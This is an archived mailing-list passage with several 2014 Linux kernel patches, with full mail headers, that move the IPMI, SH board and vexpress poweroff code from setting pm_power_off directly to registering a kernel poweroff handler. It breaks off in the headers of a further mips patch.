Xref: news.gmane.org gmane.linux.ports.m68k:6224 gmane.linux.kernel:1802471 gmane.linux.drivers.devicetree:93061 gmane.linux.kernel.virtualization.lguest:1480 gmane.linux.acpi.devel:71294 gmane.linux.ports.alpha:2465 gmane.linux.kernel.efi:4748 gmane.linux.ports.hexagon:812 gmane.linux.ports.ppc64.devel:105891 gmane.linux.ports.tegra:19494 gmane.linux.kernel.openipmi:2471 gmane.linux.uml.devel:14684 gmane.linux.ports.arm.kernel:362366 gmane.linux.ports.ia64:24501 gmane.linux.kernel.metag:332 gmane.linux.ports.mips.general:44182 gmane.linux.ports.parisc:6107 gmane.linux.power-management.general:50636 gmane.linux.ports.sh.devel:39805
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/6224>

Register with kernel poweroff handler instead of setting pm_power_off
directly. Register with a high priority value of 192 to reflect that
the original code overwrites pm_power_off unconditionally.

Register poweroff handler after the ipmi system is ready, and unregister
it prior to cleanup. This avoids having to check for the ready variable
in the poweroff callback.

Cc: Corey Minyard <minyard@acm.org>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 drivers/char/ipmi/ipmi_poweroff.c | 30 +++++++++++++++++++-----------
 1 file changed, 19 insertions(+), 11 deletions(-)

diff --git a/drivers/char/ipmi/ipmi_poweroff.c b/drivers/char/ipmi/ipmi_poweroff.c
index 9f2e3be..a942a41 100644
--- a/drivers/char/ipmi/ipmi_poweroff.c
+++ b/drivers/char/ipmi/ipmi_poweroff.c
@@ -36,6 +36,7 @@
 #include <linux/proc_fs.h>
 #include <linux/string.h>
 #include <linux/completion.h>
+#include <linux/notifier.h>
 #include <linux/pm.h>
 #include <linux/kdev_t.h>
 #include <linux/ipmi.h>
@@ -63,9 +64,6 @@ static ipmi_user_t ipmi_user;
 static int ipmi_ifnum;
 static void (*specific_poweroff_func)(ipmi_user_t user);
 
-/* Holds the old poweroff function so we can restore it on removal. */
-static void (*old_poweroff_func)(void);
-
 static int set_param_ifnum(const char *val, struct kernel_param *kp)
 {
 	int rv = param_set_int(val, kp);
@@ -544,15 +542,20 @@ static struct poweroff_function poweroff_functions[] = {
 
 
 /* Called on a powerdown request. */
-static void ipmi_poweroff_function(void)
+static int ipmi_poweroff_function(struct notifier_block *this,
+				  unsigned long unused1, void *unused2)
 {
-	if (!ready)
-		return;
-
 	/* Use run-to-completion mode, since interrupts may be off. */
 	specific_poweroff_func(ipmi_user);
+
+	return NOTIFY_DONE;
 }
 
+static struct notifier_block ipmi_poweroff_nb = {
+	.notifier_call = ipmi_poweroff_function,
+	.priority = 192,
+};
+
 /* Wait for an IPMI interface to be installed, the first one installed
    will be grabbed by this code and used to perform the powerdown. */
 static void ipmi_po_new_smi(int if_num, struct device *device)
@@ -631,9 +634,12 @@ static void ipmi_po_new_smi(int if_num, struct device *device)
 	printk(KERN_INFO PFX "Found a %s style poweroff function\n",
 	       poweroff_functions[i].platform_type);
 	specific_poweroff_func = poweroff_functions[i].poweroff_func;
-	old_poweroff_func = pm_power_off;
-	pm_power_off = ipmi_poweroff_function;
+
 	ready = 1;
+
+	rv = register_poweroff_handler(&ipmi_poweroff_nb);
+	if (rv)
+		pr_err(PFX "failed to register poweroff handler\n");
 }
 
 static void ipmi_po_smi_gone(int if_num)
@@ -644,9 +650,10 @@ static void ipmi_po_smi_gone(int if_num)
 	if (ipmi_ifnum != if_num)
 		return;
 
+	unregister_poweroff_handler(&ipmi_poweroff_nb);
+
 	ready = 0;
 	ipmi_destroy_user(ipmi_user);
-	pm_power_off = old_poweroff_func;
 }
 
 static struct ipmi_smi_watcher smi_watcher = {
@@ -732,12 +739,13 @@ static void __exit ipmi_poweroff_cleanup(void)
 
 	ipmi_smi_watcher_unregister(&smi_watcher);
 
+	unregister_poweroff_handler(&ipmi_poweroff_nb);
+
 	if (ready) {
 		rv = ipmi_destroy_user(ipmi_user);
 		if (rv)
 			printk(KERN_ERR PFX "could not cleanup the IPMI"
 			       " user: 0x%x\n", rv);
-		pm_power_off = old_poweroff_func;
 	}
 }
 module_exit(ipmi_poweroff_cleanup);
-- 
1.9.1


From - Thu Nov 08 21:10:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 37/44] sh: Register with kernel poweroff handler
Date: Mon,  6 Oct 2014 22:28:39 -0700
Lines: 94
Approved: news@gmane.org
Message-ID: <1412659726-29957-38-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659958 27732 80.91.229.3 (7 Oct 2014 05:32:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:32:38 +0000 (UTC)
Cc: adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Guenter Roeck <linux@roeck-us.net>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-m68k-owner@vger.kernel.org Tue Oct 07 07:32:30 2014
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1XbNNn-0003UJ-KX
	for glpm-linux-m68k@plane.gmane.org; Tue, 07 Oct 2014 07:32:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754177AbaJGFcO (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Tue, 7 Oct 2014 01:32:14 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:41863 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754107AbaJGFbr (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Tue, 7 Oct 2014 01:31:47 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=r1JERAHyRBPP2V/wXru289tjdBV8FdeBQJF4B3ptb94=;
	b=RX0NVgqWKchWiv1LIdCefRdQZkIiGo4GyoUUkUXnq6ozQ6dXWsBZBimXY2wHUzXsxSL2AoiWkXNcPdAqMUMuOrPrexdlIJnhIHKbzUjIU9Vcuu90bxkRhhvsCcXbrctsXRF7jNCFoKIoH5oBERpfx2kM8lQz4nmYXCGuszrB/UA=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNNC-002noS-Dn
	for linux-m68k@lists.linux-m68k.org; Tue, 07 Oct 2014 05:31:46 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32940 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNLv-002fMC-Kq; Tue, 07 Oct 2014 05:30:28 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=2.8
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020203.54337AC2.008F,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 1303
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 168
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - lists.linux-m68k.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:6228 gmane.linux.kernel:1802472 gmane.linux.drivers.devicetree:93062 gmane.linux.kernel.virtualization.lguest:1481 gmane.linux.acpi.devel:71295 gmane.linux.ports.alpha:2466 gmane.linux.kernel.efi:4749 gmane.linux.ports.hexagon:813 gmane.linux.ports.ppc64.devel:105892 gmane.linux.ports.tegra:19495 gmane.linux.kernel.openipmi:2472 gmane.linux.uml.devel:14685 gmane.linux.ports.arm.kernel:362367 gmane.linux.ports.ia64:24502 gmane.linux.kernel.metag:333 gmane.linux.ports.mips.general:44183 gmane.linux.ports.parisc:6108 gmane.linux.power-management.general:50637 gmane.linux.ports.sh.devel:39806
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/6228>

Register with kernel poweroff handler instead of setting pm_power_off
directly.

Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 arch/sh/boards/board-sh7785lcr.c       | 2 +-
 arch/sh/boards/board-urquell.c         | 2 +-
 arch/sh/boards/mach-highlander/setup.c | 2 +-
 arch/sh/boards/mach-landisk/setup.c    | 2 +-
 arch/sh/boards/mach-r2d/setup.c        | 2 +-
 arch/sh/boards/mach-sdk7786/setup.c    | 2 +-
 6 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/arch/sh/boards/board-sh7785lcr.c b/arch/sh/boards/board-sh7785lcr.c
index 2c4771e..c092402 100644
--- a/arch/sh/boards/board-sh7785lcr.c
+++ b/arch/sh/boards/board-sh7785lcr.c
@@ -332,7 +332,7 @@ static void __init sh7785lcr_setup(char **cmdline_p)
 
 	printk(KERN_INFO "Renesas Technology Corp. R0P7785LC0011RL support.\n");
 
-	pm_power_off = sh7785lcr_power_off;
+	register_poweroff_handler_simple(sh7785lcr_power_off, 128);
 
 	/* sm501 DRAM configuration */
 	sm501_reg = ioremap_nocache(SM107_REG_ADDR, SM501_DRAM_CONTROL);
diff --git a/arch/sh/boards/board-urquell.c b/arch/sh/boards/board-urquell.c
index b52abcc..b3fa56f 100644
--- a/arch/sh/boards/board-urquell.c
+++ b/arch/sh/boards/board-urquell.c
@@ -204,7 +204,7 @@ static void __init urquell_setup(char **cmdline_p)
 {
 	printk(KERN_INFO "Renesas Technology Corp. Urquell support.\n");
 
-	pm_power_off = urquell_power_off;
+	register_poweroff_handler_simple(urquell_power_off, 128);
 
 	register_smp_ops(&shx3_smp_ops);
 }
diff --git a/arch/sh/boards/mach-highlander/setup.c b/arch/sh/boards/mach-highlander/setup.c
index 4a52590..998f1a5 100644
--- a/arch/sh/boards/mach-highlander/setup.c
+++ b/arch/sh/boards/mach-highlander/setup.c
@@ -385,7 +385,7 @@ static void __init highlander_setup(char **cmdline_p)
 
 	__raw_writew(__raw_readw(PA_IVDRCTL) | 0x01, PA_IVDRCTL);	/* Si13112 */
 
-	pm_power_off = r7780rp_power_off;
+	register_poweroff_handler_simple(r7780rp_power_off, 128);
 }
 
 static unsigned char irl2irq[HL_NR_IRL];
diff --git a/arch/sh/boards/mach-landisk/setup.c b/arch/sh/boards/mach-landisk/setup.c
index f1147ca..c817d80 100644
--- a/arch/sh/boards/mach-landisk/setup.c
+++ b/arch/sh/boards/mach-landisk/setup.c
@@ -89,7 +89,7 @@ static void __init landisk_setup(char **cmdline_p)
 	__raw_writeb(__raw_readb(PA_LED) | 0x03, PA_LED);
 
 	printk(KERN_INFO "I-O DATA DEVICE, INC. \"LANDISK Series\" support.\n");
-	pm_power_off = landisk_power_off;
+	register_poweroff_handler_simple(landisk_power_off, 128);
 }
 
 /*
diff --git a/arch/sh/boards/mach-r2d/setup.c b/arch/sh/boards/mach-r2d/setup.c
index 4b98a52..a759d39 100644
--- a/arch/sh/boards/mach-r2d/setup.c
+++ b/arch/sh/boards/mach-r2d/setup.c
@@ -279,7 +279,7 @@ static void __init rts7751r2d_setup(char **cmdline_p)
 					(ver >> 4) & 0xf, ver & 0xf);
 
 	__raw_writew(0x0000, PA_OUTPORT);
-	pm_power_off = rts7751r2d_power_off;
+	register_poweroff_handler_simple(rts7751r2d_power_off, 128);
 
 	/* sm501 dram configuration:
 	 * ColSizeX = 11 - External Memory Column Size: 256 words.
diff --git a/arch/sh/boards/mach-sdk7786/setup.c b/arch/sh/boards/mach-sdk7786/setup.c
index c29268b..cb26336 100644
--- a/arch/sh/boards/mach-sdk7786/setup.c
+++ b/arch/sh/boards/mach-sdk7786/setup.c
@@ -252,7 +252,7 @@ static void __init sdk7786_setup(char **cmdline_p)
 	pr_info("\tPCB revision:\t%d\n", fpga_read_reg(PCBRR) & 0xf);
 
 	machine_ops.restart = sdk7786_restart;
-	pm_power_off = sdk7786_power_off;
+	register_poweroff_handler_simple(sdk7786_power_off, 128);
 
 	register_smp_ops(&shx3_smp_ops);
 }
-- 
1.9.1


From - Thu Nov 08 21:10:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 25/44] power/reset: vexpress-poweroff: Register with kernel poweroff handler
Date: Mon,  6 Oct 2014 22:28:27 -0700
Lines: 71
Approved: news@gmane.org
Message-ID: <1412659726-29957-26-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659974 27945 80.91.229.3 (7 Oct 2014 05:32:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:32:54 +0000 (UTC)
Cc: adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	devel-gWbeCf7V1WCQmaza687I9mD2FQJk+8+b@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	lguest-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-acpi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	openipmi-developer-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	user-mode-linux-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-pm-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, xen-devel-GuqFBffKawtpuQazS67q72D2FQJk+8+b@public.gmane.org,
	Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Tue Oct 07 07:32:44 2014
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1XbNNf-0003UJ-TI
	for glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Tue, 07 Oct 2014 07:32:16 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1754086AbaJGFcJ (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
	Tue, 7 Oct 2014 01:32:09 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:41839 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754058AbaJGFbn (ORCPT
	<rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Tue, 7 Oct 2014 01:31:43 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=veFpDe+zHcl5bbY1XM2MbgP4s4VstBFDvrsV69NCw18=;
	b=Ni9OXg1PDYPAY74fkpUALohQ9lPwqjuMA118SpvZtDy+NruqPWBFJgOQV4/36s6wstWUTPfcFXBTO4a9jAI2f6nIA5vd18TZGXhn1v9O1HphOcED6JCEcot0S9uY+LEOqDno/QcwY2d/4q4XWHu18YoRsdk8djAHokCIju3473A=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>)
	id 1XbNN8-002njD-9n
	for linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org; Tue, 07 Oct 2014 05:31:42 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32928 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>)
	id 1XbNLP-002cVw-42; Tue, 07 Oct 2014 05:29:55 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
X-Authenticated_sender: guenter-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org
X-OutGoing-Spam-Status: No, score=2.8
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020202.54337ABE.0088,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 1286
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 163
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:334 gmane.linux.kernel:1802473 gmane.linux.drivers.devicetree:93063 gmane.linux.kernel.virtualization.lguest:1482 gmane.linux.acpi.devel:71296 gmane.linux.ports.alpha:2467 gmane.linux.kernel.efi:4750 gmane.linux.ports.hexagon:814 gmane.linux.ports.ppc64.devel:105893 gmane.linux.ports.tegra:19496 gmane.linux.kernel.openipmi:2473 gmane.linux.uml.devel:14686 gmane.linux.ports.arm.kernel:362368 gmane.linux.ports.ia64:24503 gmane.linux.ports.mips.general:44184 gmane.linux.ports.parisc:6109 gmane.linux.power-management.general:50638 gmane.linux.ports.sh.devel:39807
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/334>

Register with kernel poweroff handler instead of setting pm_power_off
directly.

Signed-off-by: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
---
 drivers/power/reset/vexpress-poweroff.c | 19 +++++++++++++++++--
 1 file changed, 17 insertions(+), 2 deletions(-)

diff --git a/drivers/power/reset/vexpress-poweroff.c b/drivers/power/reset/vexpress-poweroff.c
index 4dc102e2..060c55d 100644
--- a/drivers/power/reset/vexpress-poweroff.c
+++ b/drivers/power/reset/vexpress-poweroff.c
@@ -12,6 +12,7 @@
  */
 
 #include <linux/delay.h>
+#include <linux/notifier.h>
 #include <linux/of.h>
 #include <linux/of_device.h>
 #include <linux/platform_device.h>
@@ -36,11 +37,19 @@ static void vexpress_reset_do(struct device *dev, const char *what)
 
 static struct device *vexpress_power_off_device;
 
-static void vexpress_power_off(void)
+static int vexpress_power_off(struct notifier_block *this,
+			      unsigned long unused1, void *unused2)
 {
 	vexpress_reset_do(vexpress_power_off_device, "power off");
+
+	return NOTIFY_DONE;
 }
 
+static struct notifier_block vexpress_poweroff_nb = {
+	.notifier_call = vexpress_power_off,
+	.priority = 128,
+};
+
 static struct device *vexpress_restart_device;
 
 static void vexpress_restart(enum reboot_mode reboot_mode, const char *cmd)
@@ -92,6 +101,7 @@ static int vexpress_reset_probe(struct platform_device *pdev)
 	const struct of_device_id *match =
 			of_match_device(vexpress_reset_of_match, &pdev->dev);
 	struct regmap *regmap;
+	int ret;
 
 	if (match)
 		func = (enum vexpress_reset_func)match->data;
@@ -106,7 +116,12 @@ static int vexpress_reset_probe(struct platform_device *pdev)
 	switch (func) {
 	case FUNC_SHUTDOWN:
 		vexpress_power_off_device = &pdev->dev;
-		pm_power_off = vexpress_power_off;
+		ret = register_poweroff_handler(&vexpress_poweroff_nb);
+		if (ret) {
+			dev_err(&pdev->dev,
+				"Failed to register poweroff handler\n");
+			return ret;
+		}
 		break;
 	case FUNC_RESET:
 		if (!vexpress_restart_device)
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-metag" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 36/44] mips: Register with kernel poweroff handler
Date: Mon,  6 Oct 2014 22:28:38 -0700
Lines: 494
Approved: news@gmane.org
Message-ID: <1412659726-29957-37-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659992 28225 80.91.229.3 (7 Oct 2014 05:33:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:33:12 +0000 (UTC)
Cc: adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	devel-gWbeCf7V1WCQmaza687I9mD2FQJk+8+b@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	lguest-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-acpi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	openipmi-developer-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	user-mode-linux-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
